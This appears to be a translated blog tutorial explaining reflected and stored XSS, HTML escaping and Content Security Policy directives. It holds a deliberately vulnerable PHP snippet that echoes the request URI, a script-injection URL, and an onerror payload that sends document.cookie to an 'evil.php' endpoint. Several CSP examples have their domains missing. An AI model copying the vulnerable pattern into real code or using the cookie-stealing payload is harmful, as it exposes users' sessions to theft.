Write like you're running out of time.

Front-end Network Security Required 2 XSS and CSP

Review the previous article: Front-end Network Security Required Course 1: SOP, CSRF, and CORS

This article mainly covers the following topics:

  • Cross-site scripting (XSS)
  • Content Security Policy (CSP)

Because CSP was primarily created to defend against XSS attacks, let's talk about XSS first~


    <? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);

This is a common prompt code when a page is not found. However, it is also a vulnerable example that is easily susceptible to XSS attacks because it directly inserts user-submitted content into the HTML.

Of course, when you visit http://testsite.test/file_which_not_exist, it will be displayed normally as:

Not found: /file_which_not_exist

But if you want to do something malicious and visit http://testsite.test/<script>alert("I want to do something bad");</script>, the result will be:

Not found: /

Although it may seem like nothing is there, if there are no preventive measures, the JavaScript script has already been executed.

Typically, the harm that can be done with this type of attack is stealing user cookies. For example, inserting the following code:

  onerror="post('../evil.php?cakemonster=' + escape(document.cookie))"

The above XSS attack, which is performed using the reflection of error messages and search results, is called reflected XSS.

There is also another type of XSS called stored XSS.

Stored XSS is relatively easy to understand. The attacker submits malicious scripts to the victim server and successfully stores them. Anyone who visits a specific page will be attacked.

For example, if you accidentally mishandle the content to be placed in a rich text editor, it is very susceptible to stored XSS attacks.

You can compare the differences between XSS filtering before and after here.

There is also the infamous SQL injection, which has a similar principle.

HTML Security Injection#

HTML is considered unsafe because symbols like < and > have special meanings in HTML. If you directly insert <> into HTML like above, the processor will naturally interpret them as tags instead of less than and greater than signs.

For HTML strings, the real less than sign is &lt;, and the greater than sign is &gt;, which means "less than" and "greater than". Similarly, there is also a space &nbsp;.

The mentioned escape characters consist of three parts: & + entity name + ;. You can also use entity numbers instead of entity names. For example, #60 is the entity number for lt, and &lt; and &#60; render the same thing.

So how do you find entity numbers? It is recommended to use charCodeAt() directly:

'网'.charCodeAt() // => 32593

&#32593; is equal to the Chinese character "网". If you want, you can even use entity numbers to replace all the text 😂

The above is what you need to pay attention to when constructing HTML documents using backend languages like PHP or JSP, or when using JavaScript's innerHTML assignment and other DOM operations (React users may know that React has explicitly warned about the danger of this operation with the attribute name dangerouslySetInnerHTML). If you are using innerText to insert, you are inserting plain strings instead of HTML, so feel free to use <>, they represent less than and greater than signs 😀


CSP is a whitelist mechanism that only allows resources from specified domains to be read in your web page. It can be used to prevent XSS attacks.

The first method of using CSP is to define the Content-Security-Policy in the HTTP header:

Content-Security-Policy: default-src; object-src 'none'

In the value of CSP, different attributes are separated by ;, and multiple values of the same attribute are separated by spaces. The above example means that it allows reading resources from and by default, and there is no whitelist for the resources used by object-src, which means they are completely disallowed.

If resources that do not meet the requirements are used, the browser will intercept them and give the following prompt:

Refused to execute inline script because it violates the following Content Security Policy directive

You can also use the meta tag instead of the HTTP header:

  content="default-src; child-src 'none'; object-src 'none'"

The commonly used options for Content-Security-Policy are as follows:

  • default-src is the default value for the src option, but it cannot override the following values: base-uri, form-action, frame-ancestors, plugin-types, report-uri, sandbox
  • base-uri I want to mention the <base> tag because I am ignorant and it is the first time I have seen it. It specifies the root URL for all relative URLs contained in a document. A file can only have one <base> tag, and it is used like this: <base target="_top" href="">.
  • connect-src addresses used for XHR, WebSockets, etc.
  • font-src font file sources
  • img-src image addresses
  • media-src audio and video addresses
  • object-src Flash-related
  • report-uri submit to the specified URI when an error occurs, cannot be used in <meta> tags
  • style-src style files

In the resource list, in addition to specifying domain names, you can also use the following four keywords. Note that single quotes must be added:

  • 'none' does not match anything
  • 'self' the current domain, excluding subdomains
  • 'unsafe-inline' allows inline JavaScript and CSS
  • 'unsafe-eval' allows eval-like operations

When CSP is set correctly, inline code or external JavaScript files inserted by XSS will be intercepted. Of course, this is the last line of defense, and the keyword filtering mentioned earlier is also a good method to deal with XSS.

That's about it. I hope that in the future, when using backend languages like PHP and JSP to construct HTML documents, you will carefully consider whether there are any XSS vulnerabilities. In addition, in today's flourishing development of front-end and back-end separation, XSS may also appear in rich text editors, so extra attention is needed.

Original article link:

Further Reading#


Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.